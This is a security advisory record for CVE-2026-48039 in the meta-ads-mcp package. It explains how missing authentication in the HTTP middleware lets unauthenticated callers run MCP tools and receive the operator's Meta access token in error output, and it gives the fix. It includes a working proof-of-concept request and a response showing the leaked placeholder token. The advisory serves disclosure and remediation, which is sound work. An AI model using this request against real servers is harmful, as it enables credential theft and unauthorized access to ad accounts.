CVE-2026-48039: Meta Ads MCP Unauthenticated HTTP MCP Tool Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9gw6-46qc-99vr",
  "modified" : "2026-08-07T19:29:59Z",
  "published" : "2026-06-11T13:28:29Z",
  "aliases" : [ "CVE-2026-48039" ],
  "summary" : "Meta Ads MCP: Unauthenticated HTTP MCP Tool Execution Leaks Operator Meta Access Token",
  "details" : "# Unauthenticated HTTP MCP Tool Execution Leaks Operator Meta Access Token\n\n| Field            | Value |\n| ---------------- | ----- |\n| Repository       | pipeboard-co/meta-ads-mcp |\n| Affected version | ≤ 1.0.101 (commit 496c988 ~ 7d14226); Versions 1.0.102–1.0.105 lack git tags, so patch status is unconfirmed. |\n| Vulnerability    | CWE-287 — Improper Authentication |\n| Severity         | Critical |\n| CVSS 3.1         | 9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |\n\n\n## Summary\n\n`AuthInjectionMiddleware.dispatch()` at `http_auth_integration.py:272` unconditionally forwards unauthenticated Streamable HTTP requests to downstream MCP tool handlers without issuing a `401` response, allowing any network-reachable caller to invoke MCP tools without authentication. When no per-request credential is present, tool handlers fall back to the `META_ACCESS_TOKEN` environment variable, and when the downstream Meta Graph API call fails, `api.py:263–269` serialises the raw `httpx` request URL—including the operator's `access_token` as a query parameter—into the JSON-RPC response body, delivering the credential to the unauthenticated caller.\n\n## Affected Code\n\n`meta_ads_mcp/core/http_auth_integration.py:272` — middleware unconditionally calls `call_next(request)` even when no auth headers are present\n\n```python\n        if not auth_token and not pipeboard_token:\n            logger.warning(\"HTTP Auth Middleware: No authentication tokens found in headers\")\n\n        try:\n            response = await call_next(request)   # line 272: no 401 returned\n            return response\n        finally:\n            if auth_token:\n                FastMCPAuthIntegration.clear_auth_token()\n            if pipeboard_token:\n                FastMCPAuthIntegration.clear_pipeboard_token()\n```\n\n`meta_ads_mcp/core/api.py:136` — operator token appended to URL query parameters, exposed verbatim in Graph API error response `request_url`\n\n```python\n    request_params = params or {}\n    request_params[\"access_token\"] = access_token\n```\n\nUnauthenticated HTTP POST /mcp → `AuthInjectionMiddleware.dispatch():272` (no 401 returned) → tool handler invokes `make_api_request()` using `META_ACCESS_TOKEN` env fallback → `request_params[\"access_token\"]:136` (token in URL) → Graph API error path at `api.py:263–269` returns `request_url` containing `access_token=…` in 200 OK JSON-RPC response.\n\n## Proof of Concept\n\nStep 1 — POST /mcp with no auth headers: HTTP 200 OK with operator `access_token` in `request_url` — proves unauthenticated tool execution and operator credential leakage.\n\n```bash\ndocker run --rm -p 127.0.0.1:8080:8080 -e META_ACCESS_TOKEN=FAKE_TOKEN_FOR_POC_DEMO_123456789 meta-ads-mcp-vuln001 &\npython3 poc.py\n```\n\n```http\nPOST /mcp HTTP/1.1\nHost: 127.0.0.1:8080\nContent-Type: application/json\nAccept: application/json, text/event-stream\n\n{\"jsonrpc\":\"2.0\",\"method\":\"tools/call\",\"id\":2,\"params\":{\"name\":\"get_ad_accounts\",\"arguments\":{\"limit\":1}}}\n```\n\n```http\nHTTP/1.1 200 OK\nContent-Type: application/json\n\n{\n  \"jsonrpc\": \"2.0\",\n  \"id\": 2,\n  \"result\": {\n    \"content\": [\n      {\n        \"type\": \"text\",\n        \"text\": \"{\\\"data\\\": \\\"{\\\\n  \\\\\\\"error\\\\\\\": {\\\\n    \\\\\\\"message\\\\\\\": \\\\\\\"HTTP Error: 400\\\\\\\",\\\\n    \\\\\\\"details\\\\\\\": {\\\\n      \\\\\\\"error\\\\\\\": {\\\\n        \\\\\\\"message\\\\\\\": \\\\\\\"Invalid OAuth access token data.\\\\\\\",\\\\n        \\\\\\\"type\\\\\\\": \\\\\\\"OAuthException\\\\\\\",\\\\n        \\\\\\\"code\\\\\\\": 190\\\\n      }\\\\n    },\\\\n    \\\\\\\"full_response\\\\\\\": {\\\\n      \\\\\\\"status_code\\\\\\\": 400,\\\\n      \\\\\\\"url\\\\\\\": \\\\\\\"https://graph.facebook.com/v24.0/me/adaccounts?...&access_token=FAKE_TOKEN_FOR_POC_DEMO_123456789\\\\\\\",\\\\n      \\\\\\\"request_url\\\\\\\": \\\\\\\"https://graph.facebook.com/v24.0/me/adaccounts?fields=id%2Cname%2Caccount_id%2Caccount_status%2Camount_spent%2Cbalance%2Ccurrency%2Cage%2Cbusiness_city%2Cbusiness_country_code&limit=1&access_token=FAKE_TOKEN_FOR_POC_DEMO_123456789\\\\\\\"\\\\n    }\\\\n  }\\\\n}\\\"}\"\n      }\n    ],\n    \"isError\": false\n  }\n}\n```\n\n## Impact\n\nAn unauthenticated attacker who can reach the MCP server's HTTP port (default 8080) can invoke any registered MCP tool as the operator, consuming the operator's Meta Ads API quota and performing read or write operations on connected Meta ad accounts. When any tool call triggers a Graph API error, the operator's `META_ACCESS_TOKEN` is returned verbatim in the `request_url` field of the 200 OK JSON-RPC response, enabling the attacker to exfiltrate the long-lived credential and subsequently access the Meta Graph API directly outside the MCP interface.\n\n## Remediation\n\nIn `AuthInjectionMiddleware.dispatch()` (`http_auth_integration.py`), return a `401 Unauthorized` response when neither `auth_token` nor `pipeboard_token` is present, instead of falling through to `call_next`:\n\n```python\nfrom starlette.responses import Response\n\nif not auth_token and not pipeboard_token:\n    return Response(\n        content='{\"error\":\"Unauthorized\"}',\n        status_code=401,\n        media_type=\"application/json\",\n    )\n```\n\nIn `make_api_request()` (`api.py`), strip `access_token` from the `request_url` in error payloads, or transmit the token via an `Authorization: Bearer` header rather than a URL query parameter to prevent it from appearing in URLs, server logs, or error responses.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "meta-ads-mcp"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.0.109"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.0.108"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pipeboard-co/meta-ads-mcp/security/advisories/GHSA-9gw6-46qc-99vr"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-48039"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pipeboard-co/meta-ads-mcp"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pipeboard-co/meta-ads-mcp/releases/tag/1.0.109"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/meta-ads-mcp/PYSEC-2026-413.yaml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-209", "CWE-287", "CWE-522" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-11T13:28:29Z",
    "nvd_published_at" : null
  }
}